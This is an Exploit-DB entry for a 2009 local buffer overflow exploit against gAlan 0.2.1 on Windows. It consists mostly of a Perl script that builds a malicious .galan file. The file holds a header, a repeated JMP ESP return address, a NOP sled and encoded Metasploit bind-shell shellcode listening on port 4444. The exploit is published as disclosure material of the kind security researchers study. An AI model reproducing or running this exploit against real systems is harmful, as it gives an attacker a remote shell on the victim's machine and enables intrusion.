gAlan 0.2.1 - Local Buffer Overflow (1)

EDB-ID:

10339

CVE:

EDB Verified: ✓

Author:

JEREMY BROWN

Type:

LOCAL

Exploit: / {}

Platform:

WINDOWS

Date:

2009-12-07

Vulnerable App:

```
#!/usr/bin/perl
# kpasa.pl
# AKA
# gAlan Buffer Overflow 0day Exploit
#
# Jeremy Brown
[0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 12.07.2009
#
#
************************************************************************
#
# "From Static Analysis to 0day Exploit"
#
# Originally a SecurityTubeCon Presentation, which I'm guessing was
canceled without notice? At any rate,
# DoJoSec picked it up so thanks to those guys for that.
#
# Presentation: http://www.viddler.com/explore/dojosec/videos/3/
#
# not_you: "gotta restart (sp1 install vista)"
# me:      "i don't see how you use that operating system"
#
# kpasa.pl

# windows/shell_bind_tcp - 696 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_mixed
# EXITFUNC=seh, LPORT=4444
$shellcode =
"\x89\xe0\xdd\xc7\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4b\x4c\x43\x5a\x4a\x4b\x50\x4d\x4b\x58" .
"\x4a\x59\x4b\x4f\x4b\x4f\x4b\x4f\x45\x30\x4c\x4b\x42\x4c" .
"\x47\x54\x47\x54\x4c\x4b\x51\x55\x47\x4c\x4c\x4b\x43\x4c" .
"\x44\x45\x43\x48\x45\x51\x4a\x4f\x4c\x4b\x50\x4f\x45\x48" .
"\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a\x4b\x51\x59\x4c\x4b" .
"\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46\x51\x49\x50\x4d\x49" .
"\x4e\x4c\x4b\x34\x49\x50\x44\x34\x43\x37\x49\x51\x48\x4a" .
"\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x50\x54" .
"\x51\x34\x46\x48\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x46\x44" .
"\x45\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b" .
"\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x43\x33\x46\x4c\x4c\x4b" .
"\x4c\x49\x42\x4c\x47\x54\x45\x4c\x43\x51\x48\x43\x46\x51" .
"\x49\x4b\x45\x34\x4c\x4b\x47\x33\x46\x50\x4c\x4b\x47\x30" .
"\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x51\x50" .
"\x43\x38\x51\x4e\x43\x58\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c" .
"\x46\x30\x4b\x4f\x49\x46\x45\x36\x51\x43\x45\x36\x42\x48" .
"\x47\x43\x50\x32\x42\x48\x44\x37\x42\x53\x47\x42\x51\x4f" .
"\x50\x54\x4b\x4f\x48\x50\x45\x38\x48\x4b\x4a\x4d\x4b\x4c" .
"\x47\x4b\x50\x50\x4b\x4f\x48\x56\x51\x4f\x4c\x49\x4b\x55" .
"\x43\x56\x4d\x51\x4a\x4d\x44\x48\x43\x32\x46\x35\x43\x5a" .
"\x43\x32\x4b\x4f\x4e\x30\x42\x48\x48\x59\x44\x49\x4c\x35" .
"\x4e\x4d\x46\x37\x4b\x4f\x49\x46\x46\x33\x51\x43\x46\x33" .
"\x51\x43\x46\x33\x47\x33\x51\x43\x47\x33\x46\x33\x4b\x4f" .
"\x48\x50\x42\x46\x43\x58\x42\x31\x51\x4c\x45\x36\x50\x53" .
"\x4c\x49\x4d\x31\x4d\x45\x42\x48\x49\x34\x44\x5a\x44\x30" .
"\x48\x47\x50\x57\x4b\x4f\x4e\x36\x42\x4a\x42\x30\x46\x31" .
"\x51\x45\x4b\x4f\x48\x50\x45\x38\x49\x34\x4e\x4d\x46\x4e" .
"\x4d\x39\x46\x37\x4b\x4f\x48\x56\x46\x33\x51\x45\x4b\x4f" .
"\x48\x50\x45\x38\x4b\x55\x51\x59\x4b\x36\x51\x59\x50\x57" .
"\x4b\x4f\x49\x46\x50\x50\x51\x44\x51\x44\x46\x35\x4b\x4f" .
"\x4e\x30\x4d\x43\x43\x58\x4d\x37\x42\x59\x49\x56\x42\x59" .
"\x50\x57\x4b\x4f\x48\x56\x46\x35\x4b\x4f\x4e\x30\x45\x36" .
"\x43\x5a\x43\x54\x45\x36\x43\x58\x42\x43\x42\x4d\x4d\x59" .
"\x4b\x55\x43\x5a\x50\x50\x46\x39\x47\x59\x48\x4c\x4d\x59" .
```

```
"\x4b\x57\x42\x4a\x51\x54\x4b\x39\x4a\x42\x50\x31\x49\x50" .
"\x4c\x33\x4e\x4a\x4b\x4e\x50\x42\x46\x4d\x4b\x4e\x50\x42" .
"\x46\x4c\x4c\x53\x4c\x4d\x42\x5a\x50\x38\x4e\x4b\x4e\x4b" .
"\x4e\x4b\x42\x48\x44\x32\x4b\x4e\x48\x33\x45\x46\x4b\x4f" .
"\x42\x55\x50\x44\x4b\x4f\x49\x46\x51\x4b\x46\x37\x46\x32" .
"\x50\x51\x46\x31\x46\x31\x43\x5a\x45\x51\x46\x31\x50\x51" .
"\x50\x55\x50\x51\x4b\x4f\x4e\x30\x42\x48\x4e\x4d\x49\x49" .
"\x44\x45\x48\x4e\x51\x43\x4b\x4f\x48\x56\x42\x4a\x4b\x4f" .
"\x4b\x4f\x46\x57\x4b\x4f\x48\x50\x4c\x4b\x50\x57\x4b\x4c" .
"\x4c\x43\x49\x54\x45\x34\x4b\x4f\x48\x56\x46\x32\x4b\x4f" .
"\x48\x50\x45\x38\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x51\x43" .
"\x4b\x4f\x49\x46\x4b\x4f\x48\x50\x41\x41";

$magic     = "Mjik";
$addr      = 0x7E429353; # JMP ESP @ user32,dll
$filename  = "bof.galan";

$retaddr = pack('l', $addr);

$payload = $magic . $retaddr x 258 . "\x90" x 256 . $shellcode;

     open(FD, '>' . $filename);
     print FD $payload;
     close(FD);
```

Tags:

Advisory/Source: Link